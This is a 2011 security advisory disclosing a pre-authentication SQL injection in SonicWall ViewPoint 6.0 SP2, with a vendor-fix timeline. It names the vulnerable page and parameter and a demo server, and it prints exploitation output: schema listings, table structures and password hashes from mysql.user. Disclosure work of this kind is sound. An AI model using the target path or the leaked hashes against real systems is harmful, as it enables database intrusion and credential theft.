Document Title: =============== SonicWall Viewpoint v6.0 SP2 - SQL Injection Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=196 Release Date: ============= 2011-10-01 Vulnerability Laboratory ID (VL-ID): ==================================== 196 Product & Service Introduction: =============================== SonicWALL® ViewPoint™ ist ein benutzerfreundliches webbasiertes Reporting-Tool, das die Sicherheitsprodukte und -dienste von SonicWALL vollständig unterstützt und erweitert. Es kann flexibel als Software oder virtuelle Appliance implementiert werden. Umfassende Reporting-Funktionen geben Administratoren einen unmittelbaren Einblick in den Zustand, die Leistung und die Sicherheit ihres Netzwerks. Mithilfe der anpassbaren Übersichtsanzeige und einer Vielzahl von Verlaufsberichten unterstützt SonicWALL ViewPoint Unternehmen aller Größen dabei, Netzwerknutzung und Sicherheitsaktivitäten zu überwachen und die Webnutzung anzuzeigen. (Copy of the Vendor Homepage: http://www.sonicwall.com/de/Centralized_Management_and_Reporting.html) Abstract Advisory Information: ============================== Vulnerability-Lab Team discovered a remote exploitable blind sql injection vulnerability on Sonicwalls Viewpoint v6.0 SP2. Vulnerability Disclosure Timeline: ================================== 2011-06-16: Vendor Notification 2011-09-21: Vendor Response/Feedback 2011-10-01: Vendor Fix/Patch 2011-10-02: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== DELL SonicWall Product: ViewPoint Application 6.0 SP2 Exploitation Technique: ======================= Remote Severity Level: =============== Critical Technical Details & Description: ================================ A remote sql injection vulnerability is detected on the famous Sonicwall Viewpoint Application v6.x. The vulnerability allows an attacker to inject/execute (pre-auth) own sql statements. The successfully exploitation of the vulnerability can lead to unauthorized database access. Notice: The file is not just located on viewpoint ;) Vulnerable Modules(SQL): [+] Schedule Reports (pre auth) Pictures: ../sql1.png ../sql2.png Example URL: https://gms.xxx.com/sgms/reports/scheduledreports/configure/scheduleProps.jsp?scheduleID= --- SQL Log --- select @@version = 5.0.83-enterprise-nt select user() = vpuser@localhost select @@datadir = C://GMSVP//MySQL//data// SELECT count(schema_name) FROM information_schema.schemata = 43 SELECT schema_name FROM information_schema.schemata limit 0,1 = information_schema SELECT schema_name FROM information_schema.schemata limit 1,1 = mysql SELECT schema_name FROM information_schema.schemata limit 2,1 = rawsyslogdb_20090905 SELECT schema_name FROM information_schema.schemata limit 3,1 = rawsyslogdb_20090906 SELECT schema_name FROM information_schema.schemata limit 4,1 = rawsyslogdb_20090907 SELECT schema_name FROM information_schema.schemata limit 10,1 = rawsyslogdb_20100223 SELECT schema_name FROM information_schema.schemata limit 20,1 = rawsyslogdb_20100305 SELECT schema_name FROM information_schema.schemata limit 30,1 = rawsyslogdb_20100315 SELECT schema_name FROM information_schema.schemata limit 37,1 = rawsyslogdb_20100322 SELECT schema_name FROM information_schema.schemata limit 39,1 = rawsyslogdb_20100324 SELECT schema_name FROM information_schema.schemata limit 40,1 = sgmsdb SELECT schema_name FROM information_schema.schemata limit 41,1 = sgmsdb_archive SELECT schema_name FROM information_schema.schemata limit 42,1 = test +----------------------+ | Databases | +----------------------+ | mysql | | rawsyslogdb_20090905 | | rawsyslogdb_20090906 | | rawsyslogdb_20090907 | | rawsyslogdb_20090926 | | rawsyslogdb_20090927 | | rawsyslogdb_20090928 | | rawsyslogdb_20090929 | | rawsyslogdb_20090930 | | rawsyslogdb_20100225 | | rawsyslogdb_20100226 | | rawsyslogdb_20100227 | | rawsyslogdb_20100228 | | rawsyslogdb_20100301 | | rawsyslogdb_20100302 | | rawsyslogdb_20100303 | | rawsyslogdb_20100304 | | rawsyslogdb_20100305 | | rawsyslogdb_20100306 | | rawsyslogdb_20100307 | | rawsyslogdb_20100308 | | rawsyslogdb_20100309 | | rawsyslogdb_20100310 | | rawsyslogdb_20100311 | | rawsyslogdb_20100312 | | rawsyslogdb_20100313 | | rawsyslogdb_20100314 | | rawsyslogdb_20100315 | | rawsyslogdb_20100316 | | rawsyslogdb_20100317 | | rawsyslogdb_20100318 | | rawsyslogdb_20100319 | | rawsyslogdb_20100320 | | rawsyslogdb_20100321 | | rawsyslogdb_20100322 | | rawsyslogdb_20100323 | | rawsyslogdb_20100324 | | rawsyslogdb_20100325 | | rawsyslogdb_20100326 | | sgmsdb | | sgmsdb_archive | | test | +----------------------+ SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 0,1 = localhost:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 1,1 = 127.0.0.1:root: SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 2,1 = %:root:*50F99C5E85A49EF12C936A17C978C626B9D2BA98 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 3,1 = localhost:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user limit 4,1 = %:vpuser:*51297F75C4E5B009F5D973BA8E94831BC1A9A2E0 Database: sgmsdb [324 tables] +--------------------------------+ | ac_categories | | ac_desc | | ac_enum | | ac_models | | ac_nodes | | activation_codes | | alert_ui_details | | alert_ui_screens | | alertcontents | | alertdstschedmappings | | alerts | | alerttypes | | appliances | | archive_tables | | as_categories | | aspyware_signatures | | auth_servers | | bkp_reporting_dependent_tables | | central_gateway | | csm_categories | | csm_default_appfilter_ports | | csm_signatures | | dao_archive_tables | | dash_page | | dash_page_comp | | default_rss_feeds | | diag_snapshots | | domains | | ec_rule_args | | ec_rule_argvals | | ec_rule_groups | | ec_rule_stmts | | ec_rules | | firmware_versions | | firmwareimagetbl | | fw_dea_unit_data | | fw_dea_unit_keys | | fwdyndata | | gav_signatures | | gmsvpinstances | | hm_appliance_config | | hm_httpclient_config | | hm_record | | hm_recording | | hm_service_config | | hm_template | | impl_info | | ips_categories | | log_custom_settings_tbl | | logs | | logs_msg_autosuggest | | mgmt_dea_services | | mgmt_dea_xfrs | | mgmt_feature | | mgmt_fw_filter | | mgmt_fw_filter_data | | mgmt_fw_filter_perms | | mgmt_inh_dep_screens_view | | mgmt_misc_scrn_params | | mon_emailalertschedule | | mon_tunnel_status | | monactions | | moncategories | | mondevices | | monitors | | monpings | | monseverity | | monsnmpacquiredata | | monsnmpdata | | monsnmpinfo | | monsnmpmibinfo | | monsnmprealtimemonitorelements | | monsnmprealtimemonitors | | monsnmprtmtemplateelements | | monsnmprtmtemplates | | monthresholdelements | | monthresholds | | non_allowed_devices | | olh_groupname | | params | | params1 | | params2 | | params3 | | params_group_info | | params_info | | perf_db_backup | | perf_summarizer_thread | | perf_syslog_collector | | perf_syslog_files | | perf_viewpoint_summarizer | | pkiadmin | | pkiusercert | | rc_cert | | rc_sa | | rc_snmp | | rc_syslog | | report_module_perf_metrics | | schedulegroups | | scheduleripc | | schedulers | | schedules | | schedulesmapping | | screens | | scrn_perms | | settings | | severities | | sgms_config | | sgms_sessions | | sgms_views | | signature_status | | signatureimagetbl | | signatures | | sonicpoint_country_tbl | | sonicpoint_domain_tbl | | static_devices | | sub_policy | | summarizer_modules | | summarizers | | sw_0017c51036b8 | | sw_addr_groups | | sw_addr_objects | | sw_allowed_urls | | sw_as_product_settings | | sw_as_signature_settings | | sw_aspywareexcludelist | | sw_av_ext | | sw_av_ips | | sw_cert_blacklist | | sw_cert_whitelist | | sw_certs | | sw_cfacategories | | sw_cfacustomcategories | | sw_cfaexcluderanges | | sw_cfafiletypes | | sw_cfakeywords | | sw_cfapolicies | | sw_cfaurls | | sw_cfs_enterprise | | sw_cfsexcluderanges | | sw_consent_ip_addresses | | sw_csm_appfilter_ports | | sw_ddns | | sw_dhcp_dynamic_ranges | | sw_dhcp_grp_members | | sw_dhcp_opt_grps | | sw_dhcp_options | | sw_dhcp_static_ranges | | sw_dmz | | sw_forbidden_urls | | sw_fw_access_rules | | sw_gavexcluderanges | | sw_grp_schedules | | sw_guest_profiles | | sw_ha_full_monitoring | | sw_ha_monitoring | | sw_idpexcluderanges | | sw_ids_aps | | sw_ind_alert_data | | sw_ind_history | | sw_ind_hm_params | | sw_ind_ipssiglist | | sw_ind_migration1 | | sw_ind_migration2 | | sw_ind_params4 | | sw_ind_svportalsettings | | sw_info | | sw_interfaces | | sw_intranet | | sw_ip_helper_apps | | sw_iphelper | | sw_ips_categories | | sw_knownservices | | sw_knownservices_info | | sw_lans | | sw_lic_nodes | | sw_local_groups | | sw_local_users | | sw_local_usr_grp_obj_relation | | sw_meta_cfs_categories | | sw_monitor_objects | | sw_nat_objects | | sw_ntp_servers | | sw_one_to_one_nat | | sw_profiles | | sw_qos_mapping | | sw_rbl_domains | | sw_rip | | sw_route_objects | | sw_routes | | sw_rules | | sw_sas | | sw_schedules | | sw_service_groups | | sw_service_objects | | sw_services | | sw_signatures | | sw_sonicpoints | | sw_sonicpoints_n | | sw_sso_auth_agents | | sw_static_arp | | sw_switch_ports | | sw_syslog_server | | sw_trusted_urls | | sw_ulahttpurls | | sw_url_keywords | | sw_user_group_trees | | sw_user_trees | | sw_useraddressranges | | sw_users | | sw_userservices | | sw_vap | | sw_vap_groups | | sw_vpnaddressranges | | sw_vpnservices | | sw_wepclient | | sw_wgs_ipdeny | | sw_wgs_keywords | | sw_wgs_profiles | | sw_wifiservices | | sw_wirelessguest | | sw_wirelessmac | | sw_zones | | tasks | | thresholdelements | | thresholds | | translation_tbl | | trapmgrs | | unit_level_app_settings | | unit_perms | | unituptimestats | | used_accodes | | userpasswords | | users | | users_motd | | version | | vp_alert_data | | vp_appl_dts | | vp_appl_summarizer_settings | | vp_by_category_summary | | vp_by_policy_summary | | vp_by_site_detail | | vp_by_site_summary | | vp_categories | | vp_connection_details | | vp_connection_events | | vp_cstm_configs | | vp_cstm_fields | | vp_cstm_rules | | vp_cstm_templates | | vp_cstm_templates_fields | | vp_cstm_templates_rules | | vp_dest_hosts | | vp_dn_dest_library | | vp_dn_src_library | | vp_email_details | | vp_email_logos | | vp_email_profiles | | vp_email_receivers | | vp_email_screens | | vp_email_summary | | vp_firewall_reports | | vp_firewall_totals | | vp_firewalls | | vp_host_summary | | vp_hosts_for_auto_suggest | | vp_hourly_summary | | vp_login_summary | | vp_report_dates | | vp_reports | | vp_service_details | | vp_service_summary | | vp_service_type | | vp_services | | vp_site_detail | | vp_src_hosts | | vp_top_detail | | vp_top_report_summary | | vp_top_summary | | vp_total_types | | vp_unit_summarizer_settings | | vp_users | | vp_websites_filter | | vp_webusers_filter | | vpappfw_connection_policies | | vpappfw_daily_totals | | vpappfw_events | | vpappfw_hourly_totals | | vpappfw_policies | | vpcdp_agent_daily_status | | vpcdp_agents | | vpcdp_appl_daily_status | | vpcdp_appl_dts | | vpcdp_appliances | | vpcdp_daily_details | | vpcdp_daily_summary | | vpcdp_filetypes | | vpcdp_hourly_summary | | vpecm_agent_service | | vpecm_agents | | vpecm_appl_dts | | vpecm_daily_totals | | vpecm_hazards | | vpecm_service_types | | vpecm_summary | | vpecm_top_hazards | | vpssl_appl_dts | | vpssl_daily_performance | | vpssl_daily_totals | | vpssl_details | | vpssl_dst_hosts | | vpssl_events | | vpssl_hourly_performance | | vpssl_hourly_totals | | vpssl_login_events | | vpssl_login_types | | vpssl_resources | | vpssl_src_hosts | | vpssl_total_types | | vpssl_users | | wireless_country_list | | ws_configs | | ws_distributed_appliances | | ws_distributed_instances | | ws_services | +--------------------------------+ Database: sgmsdb Table: vp_users [5 columns] +----------------+--------------+ | Column | Type | +----------------+--------------+ | domain | varchar(250) | | id | bigint(20) | | last_updated | timestamp | | last_updatedby | varchar(35) | | name | varchar(250) | +----------------+--------------+ Database: sgmsdb Table: userpasswords [5 columns] +----------------+-------------+ | Column | Type | +----------------+-------------+ | domainID | varchar(32) | | ID | varchar(64) | | last_updated | timestamp | | LAST_UPDATEDBY | char(32) | | PASSWORD | varchar(64) | +----------------+-------------+ Database: sgmsdb Table: users [74 columns] +--------------------------------+--------------+ | Column | Type | +--------------------------------+--------------+ | active | varchar(2) | | activePage | varchar(32) | | activeTill | datetime | | APPSELSHOW | varchar(1) | | AUDIO | varchar(3) | | authServerID | varchar(32) | | autoDelete | varchar(2) | | COMMENTS | varchar(255) | | comments_enabled | smallint(5) | | controls | varchar(254) | | CREATION_DATE | timestamp | | dashboardBarAutoHideStatus | varchar(32) | | datePwdChanged | datetime | | DISABLED | smallint(5) | | DOCKINGVALUE | varchar(3) | | domainID | varchar(32) | | doNotShowSMTPParamsWarnilg | | | dst_interface | varchar(10) | | EMAIL1 | varchar(64) | | EMAIL2 | varchar(64) | | enable_session_popup | smallint(5) | | FAX | varchar(24) | | FNAME | varchar(32) | | hmRecordBarAutoHideStatus | smallint(1) | | ID | varchar(32) | | IDLE_TIMEOUT | smallint(5) | | issuperadmin | smallint(1) | | itemsPerPage | varchar(3) | | LAST_LOGIN | datetime | | last_updated | datetime | | last_updatedby | char(32) | | liveMonitorAutoScrollStatus | varchar(32) | | liveMonitorBarAutoHideStatus | varchar(32) | | liveMonitorRefreshInterval | varchar(32) | | LNAME | varchar(32) | | lockoutCounter | varchar(2) | | MNAME | varchar(32) | | monEnableAutoRefresh | varchar(4) | | monMinDashSeverity | varchar(32) | | monUIAutoRefreshInterval | varchar(16) | | monUIStatusSelection | varchar(64) | | monUITableColCount | varchar(24) | | monUITableColor | varchar(24) | | monUITableRowHeight | varchar(24) | | monViewType | varchar(4) | | MSGS_PER_SCREEN | smallint(5) | | needPwdChange | varchar(2) | | PAGER | varchar(24) | | PASSWORD | char(32) | | PHONE | varchar(24) | | REPORT_BIDIRECTIONAL | smallint(5) | | REPORT_END_HOUR | varchar(8) | | REPORT_NUM_ENTRIES_PER_ITEM | varchar(8) | | REPORT_NUM_ITEMS | varchar(8) | | REPORT_NUM_SITES | varchar(8) | | REPORT_NUM_USERS | varchar(8) | | REPORT_ROWS_PER_SCREEN | smallint(5) | | REPORT_SITES_BY_USERS | varchar(8) | | REPORT_SITES_LIST | varchar(256) | | REPORT_START_HOUR | varchar(8) | | REPORT_USERS_LIST | varchar(256) | | REPORT_USERS_WHOLE_NAMEIP_SRCH | smallint(5) | | REPORT_VIEW_TYPE | smallint(5) | | SCHEDS_PER_SCREEN | smallint(5) | | scheduleid | varchar(32) | | screenDefaultChartTypes | varchar(50) | | smtpParamWarningLastShowTime | datetime | | src_interface | varchar(10) | | STOCK | smallint(5) | | TASKS_PER_SCREEN | smallint(5) | | USER_TYPE_ID | varchar(32) | | usertypeType | varchar(2) | | VIEW_ID | varchar(32) | | vp_controls | varchar(254) | +--------------------------------+--------------+ Proof of Concept (PoC): ======================= The sql vulnerability can be exploited by remote attackers(pre-auth). For demonstration or reproduce ... Server: http://viewpoint.demo.sonicwall.com Path: /sgms/reports/scheduledreports/configure/ File: scheduleProps.jsp Param: ?scheduleID=
SonicWall => [scheduleProps.jsp] - Remote SQL-Injection [PoC]